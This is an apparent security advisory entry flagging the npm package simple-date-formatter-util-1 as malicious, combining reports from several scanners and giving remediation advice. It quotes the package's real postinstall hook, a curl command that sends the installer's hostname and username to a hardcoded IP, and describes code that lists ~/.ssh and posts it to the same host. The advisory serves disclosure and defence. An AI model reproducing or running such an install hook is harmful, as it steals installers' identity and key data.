MAL-2026-11484
Dashboard / Malicious Package / MAL-2026-11484
MAL-2026-11484
Summary: Malicious code in simple-date-formatter-util-1 (npm)
Details: Source: amazon-inspector (f633eec2e322fce0493ff996493eebe8036c628be4ab0caf4844928d6ccdf10f) Package advertises itself as a date formatting utility but ships an active install-time exfiltration payload. package.json declares a postinstall hook `curl http://124.221.154.135/pre?h=$(hostname)&u=$(whoami)` that fires automatically on npm install, sending the installer's hostname and username over plaintext HTTP to a hardcoded bare IP. A shipped postinstall.js additionally reads the installer's `~/.ssh` directory via `fs.readdirSync(sshDir)` and POSTs the listing along with username/platform to the same host `124.221.154.135`. Source comments explicitly describe theft targets and C2/exfiltration behavior, confirming the mismatch between the advertised purpose and the actual behavior. Source: ghsa-malware (cf71be7a588ae717e33fc9fe98c246a1037e8a38d385a18104a5c0fe8ff1f659) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. Source: ossf-package-analysis (8fbc767ae4319a00160dc56f05c82dc051f9fd8d66674de81372935f529ed241) The OpenSSF Package Analysis project identified 'simple-date-formatter-util-1' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
References: https://github.com/advisories/GHSA-mmc7-8pmj-h3xj, https://www.npmjs.com/package/simple-date-formatter-util-1/v/1.0.0
Affected packages
Package
Name: simple-date-formatter-util-1
Purl: pkg:npm/simple-date-formatter-util-1
Affected ranges
Type: SEMVER
Events:
